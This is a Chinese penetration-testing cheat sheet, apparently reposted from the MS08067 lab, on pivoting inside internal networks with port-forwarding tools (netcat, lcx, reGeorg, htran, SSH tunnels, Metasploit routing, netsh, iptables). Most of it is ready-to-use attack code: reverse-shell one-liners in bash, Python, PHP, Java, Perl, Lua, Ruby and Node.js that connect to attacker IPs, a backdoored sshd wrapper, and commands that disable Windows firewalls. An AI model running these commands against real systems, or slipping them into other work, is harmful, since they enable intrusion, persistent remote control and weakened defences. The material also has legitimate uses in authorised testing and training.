內網小組 | 端口轉發 全劇終


出品|MS08067實驗室(www.ms08067.com)

本文作者:掉到魚缸里的貓(Ms08067內網安全小組成員)

NetCat

方法一:
靶機:

mkfifo /tmp/fifo 
cat /tmp/fifo| nc 想要轉發的目標 想要轉發到的端口 | nc -lp 監聽端口> /tmp/fif

攻擊機:nc -nv 靶機IP 靶機監聽端口
反向Shell:
靶機:

方法一:nc -t -e cmd.exe 攻擊機IP 攻擊機監聽端口
方法二:cat /tmp/fifo | /bin/bash -i 2>&1 | nc 目標IP 端口 > /tmp/fifo
方法三:nc -e /bin/sh 10.0.3.4 4444 (后期的nc就沒有-e的選項了)
攻擊機(公網):nc -lvp 監聽端口

不能轉發3389

正向shell
靶機:

$ mkfifo /tmp/fifo 
$ cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 本地端口 > /tmp/fifo 12
攻擊機:nc 目標IP 端口

lcx

服務端:lcx -slave 公網IP 公網端口 本地IP 本地端口
公網客戶端:lcx -listen 遠程端口 本地端口
客戶端連接本地端口,對應於連接遠程端口
先啟動listen,再啟動slave

reGeorg

服務端:上傳腳本到Web目錄,服務器要求打開 enable_dl 功能
同時安裝 php_sockets擴展客戶端:

reGeorgSocksProxy.py -p 本地端口 -u http://目標服務器上的腳本

使用Proxifier將需要的流量引入本地端口sock5模式
有腳本可以指定不使用sock5協議

Tunna

靶機:上傳腳本到Web目錄,PHP就不要用了,及其不穩定
攻擊機:proxy.py -u http://腳本地址 -l 本地端口 -r 目標端口(服務器) -v

使用Proxifier將需要的流量引入本地端口sock5模式
使用 -n 參數關閉sock協議

這個False問題不大

不能用linux的rdesktop連接,要用Windows的遠程桌面連接

這種情況問題也不大

點擊是之前再運行一次腳本就行

reDuh

服務端:上傳腳本到Web目錄
客戶端:java -jar reDuhClient.jar http://腳本位置 進行連接
本地連接java返回的本地端口 nc -vv localhost 本地端口
在命令提示符中輸入 [createTunnel]本地空閑端口:目標地址(想要訪問的目標內網地址):目標端口

htran

服務器(目標主機):htran -slave 跳板IP 跳板port 本地ip 本地端口
跳板機:htran -tran 跳板port 公網IP 公網端口
客戶端(公網主機):htran -listen 公網監聽端口 流量接收端口

socat

靶機:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:公網IP:公網端口
攻擊機:socat TCP-LISTEN:端口 - ,nc監聽也行

SSH

穿透兩個網絡
公網跳板A:跳板A在B和C的兩個內網中間

打開sshd的Gateway功能:
修改/etc/ssh/sshd_config,將 GatewayPorts 設置為yes
內網1中的B:ssh -p 22 -qngfNTR A
監聽端:localhost:22 A用戶@A地址
內網2中的C:ssh -p A監聽的端口 B用戶@A地址

本地流量轉發

#VPS
ssh -CfNg -L VPS端口:目標主機:目標端口跳板機用戶@跳板機IP
#攻擊端流量到VPS端口,被轉發

為什么說是“本地”(單純的-L選項):
本地端口轉發綁定的是 lookback 接口,這意味着只有localhost 或者 127.0.0.1 才能使用本機的端口轉發 , 其他機器發起的連接只會得到“ connection refused. ”
但是可以利用GatewayPorts(-g)關鍵字來與其他機器共享這個本地轉發端口。

遠程轉發

#跳板主機
ssh -CfNg -R VPS端口:目標主機:目標端口VPS用戶@VPS的IP
#攻擊端流量到VPS端口,被轉發

動態轉發

ssh -CfNg -D 本地代理端口 VPS用戶@VPSIP
#流量轉發到VPS

兩層ssh

#Server2
ssh -CfNg -D 8882 User_Server3@Server3
#Server1
ssh -CfNg -L 8080:Server2:8882User_Server2@Server2
客戶端socks5代理Server1:8080

NPS

Earthworm(EW)

EW 是一套便攜式的網絡穿透工具,具有 SOCKS v5服務架設和端口轉發兩大核心功能,可在復雜網絡環境下完成網絡穿透。

iox

ngrok

各種系統都支持,支持內網穿透

利用IIS端口共享功能

……說實話,沒來得及嘗試,單看文檔沒看懂

利用IIS的端口共享功能繞過防火牆

反彈shell

NC/Telent

telnet 可以換成 nc

方法一:
``
攻擊機nc監聽:nc -lp 空閑端口
服務端(靶機):mknod a p;telnet 攻擊機IP 攻擊機端口 0<a | /bin/bash 1>a

成功后沒有提示,嘗試命令即可

mknod命令中,a表示這個管道的名,p表示這個管道為FIFO(先進先出)和mkfifo一樣,就是后面mkfifo/tmp/backpipe1這種

**方法二:**

攻擊機:nc-lp 6666,nc-lp 5555,在監聽的6666的nc上輸入命令,在5555的nc上看返回的消息
靶機:telnet 攻擊機 IP 6666| /bin/bash | telnet 攻擊機 IP 5555

**方法三:**

靶機執行:netcat -lvp 5555 -e /bin/sh
攻擊機執行:nc 靶機IP 靶機端口

**方法四:**

攻擊機執行:nc-lvvp 5555
靶機執行:nc 攻擊機IP 端口 -t -e /bin/bash

**方法五:**

mkfifo /tmp/backpipe1 | /bin/sh0</tmp/backpipe1 | nc回連地址6666 1 > /tmp/backpipe1

並不是所有的NC都有-e選項……有些設備可能/bin下面沒有nc,但是busybox可以啊

##bash 反彈shell

服務端:bash -i >& /dev/tcp/公網IP/公網端口 0>&1
客戶端:nc -lvvp 端口

加密流量參看權限維持筆記

##利用awk、gawk
1. 攻擊機執行監聽
2. 靶機執行 

awk
'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'


##Python 反彈shell

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("公網IP",目標端口));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

命令行直接執行 python -c '代碼'

eval(import('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.55 23333 >/tmp/f'))


##php反彈shell

$sock=fsockopen("公網IP",端口);
exec("/bin/sh -i <&3 >&3 2>&3");

命令行執行 php -r '代碼'

##java反彈shell

public class Revs {
/**

  • @param args
  • @throws Exception
    */
    public static void main(String[] args) throws Exception {
    // TODO Auto-generated method stub
    Runtime r = Runtime.getRuntime();
    String cmd[]= {"/bin/bash","-c","exec
    5<>/dev/tcp/192.168.3.251/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"};
    Process p = r.exec(cmd); p.waitFor(); } }
    public class Test {
    public static void main(String[] args) throws Exception {
    // TODO Auto-generated method stub
    Runtime r=Runtime.getRuntime();
    Process p=r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.3.251/8888 0>&1"});
    p.waitFor();
    }
    }

##Perl反彈Shell

use Socket;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in(端口,inet_aton("公網IP"))))
{
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};


命令行執行 perl -e ‘代碼’

perl -MIO -e '$p=fork;
exit,if($p);
$c=new
IO::Socket::INET(PeerAddr,"1.1.1.1:8080");
STDIN->fdopen($c,r);
$~->fdopen($c,w);system$_ while<>;'


##Lua

lua -e
"require('socket');require('os');t=socket.tcp();t:connect('192.168.3.251','80 80');os.execute('/bin/sh -i <&3 >&3 2>&3');"


##Ruby

ruby -rsocket -e 'exit if
fork;c=TCPSocket.new("192.168.3.251","8080");while(cmd=c.gets);IO.popen(cmd," r"){|io|c.print io.read}end'


##Node.js

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();


##利用sshd反彈shell
**方法一:**
  1. 靶機執行:ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8080;
  2. 攻擊機執行:ssh root@目標 -p 設置的端口 需要密碼
**方法二:**
1. 靶機執行:

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

2. 攻擊機執行:

socat STDIO TCP4:192.168.1.129:22,sourceport=13377


##MSF 反彈shell 一句話

msfvenom -l payloads | grep "cmd/unix"|awk '{print $1}'


![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205503439-101126042.png)

##xterm下反彈
* 靶機運行 xterm -display 目標地址:1
* 接收方運行 xnest :1

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205523702-1407109692.png)

##Metasploit穿透雙層網絡

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205532553-928145197.png)

攻擊機通過兩層跳板,對192.168.12.0/24網絡進行掃描
1. 攻擊機獲得雙網卡主機A的meterpreter會話
2. 執行命令,創建路由規則,只要會話不斷開Metasploit框架就可以訪問192.168.11.0/24網段

meterpreter> run autoroute -s 192.168.11.0/24


3. 配置流量轉發代理

meterpreter> background
msf> use auxiliary/server/socks4a
msf auxiliary(socks4a)> set srvhost 本機地址
msf auxiliary(socks4a)> set srvport 想要監聽的端口
msf auxiliary(socks4a)> run


4. 在proxychains配置文件中添加sock4代理規則,即可通過proxychains實現流量轉發

5. 實現端口轉發

meterpreter> portfwd add -L 本地地址 -l 本地空閑端口 -p 目標端口 -r 目標地址


6.獲取雙網卡主機B的控制權(使用bindTCP的payload,因為反向shell無法路由到攻擊機),獲取到meterpreter會話之后添加路由規則

meterpreter> run autoroute -s 192.168.12.0/24

7. 再次配置流量轉發代理(再開個新端口)

msf auxiliary(socks4a) > set SRVPORT 空閑端口

8. 修改proxychains配置文件,取消下文的注釋,添加新的socks4代理

dynamic_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000


#利用系統自帶功能
##Windows 雙網卡路由
雙網卡Windows主機作為路由:
1.通過注冊表允許網卡進行流量轉發: 修改以下注冊表項目為1 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\Tcpip \Parameters 中的 IPEnableRouter

2. 開啟 Routing and Remote Access 服務
3. 兩側主機添加靜態路由規則,路由指向雙網卡主機

##Windows netsh命令端口轉發
管理員權限cmd執行 

netsh interface portproxy add v4tov4 listenaddress=本地iP listenport=本地端口 connectaddress=轉發目標 connectport=轉發端口 ( add 換成 delete 就是刪除啦~)

不成功的話,先關閉防火牆

netsh firewall set opmode disable 或 netsh advfirewall set allprofiles state off

查看端口映射配置:
netsh interface portproxy show all
1.為e:\f.exe 添加防火牆規則,需要管理員權限。

netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allow


刪除

netsh advfirewall firewall delete rule name="f.exe"


2、添加端口

netsh advfirewall firewall add rule name="HTTP" protocol=TCP dir=in localport=8080 action=allow

刪除

netsh advfirewall firewall delete rule name="HTTP" protocol=TCP dir=in localport=8080


##iptables

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205856352-1517247470.png)

* PREROUTING:在進行路由判斷之前所要進行的規則(DNAT/REDIRECT)(數據包進入主機后第一步),決定目標地址的改變與否 + 上下路的判定(是過濾型防火牆還是NAT防火牆)。
* INPUT:處理入站的數據包
* OUTPUT:處理出站的數據包
* FORWARD:是否允許被防火牆繼續轉發 + 是否允許使用Linux的路由/轉發功能。
* POSTROUTING:對數據包在經過路由表之后,最后一個處理步驟(數據包流出主機前最后的步驟),決定數據包是否需要改變源地址。

兩條鏈重要功能在於修改IP,而這兩條鏈修改的IP又是不一樣的,POSTROUTING在修改來源IP,PREROUTING則在修改目標IP 。
由於修改的 IP 不一樣,所以就稱為來源NAT (Source NAT, SNAT) 及目標 NAT (Destination NAT, DNAT)。
只用POSTROUTING:從請求側來看的話,只修改源IP

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205932493-788500754.png)

iptables –t nat –A POSTROUTING –s 192.168.10.10 –o eth1 –j SNAT --to-source 111.196.221.212


兩個結合起來就可以當做端口轉發了:

iptables -t nat -A PREROUTING -p tcp --dport 本機監聽端口 -j DNAT --to- destination 目標IP:端口
iptables -t nat -A POSTROUTING -d 目標主機 -j SNAT --to-source 本機IP


##參考
常見端口轉發工具的使用方式
淺談內網端口轉發
Linux iptables用法與NAT

&emsp;
&emsp;
&emsp;


**<font color=red>轉載請聯系作者並注明出處!</font>**

Ms08067安全實驗室專注於網絡安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術干貨,從零開始、以實戰落地為主,致力於做一個實用的干貨分享型公眾號。
官方網站:https://www.ms08067.com/

掃描下方二維碼加入實驗室VIP社區
加入后邀請加入內部VIP群,內部微信群永久有效!

<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171059867-27992252.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171108710-1006825273.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171113475-91288513.jpg" width=30% height=30%>

<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171130928-1756064793.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171138875-1861126870.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171146080-229256920.jpg" width=30% height=30%>


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM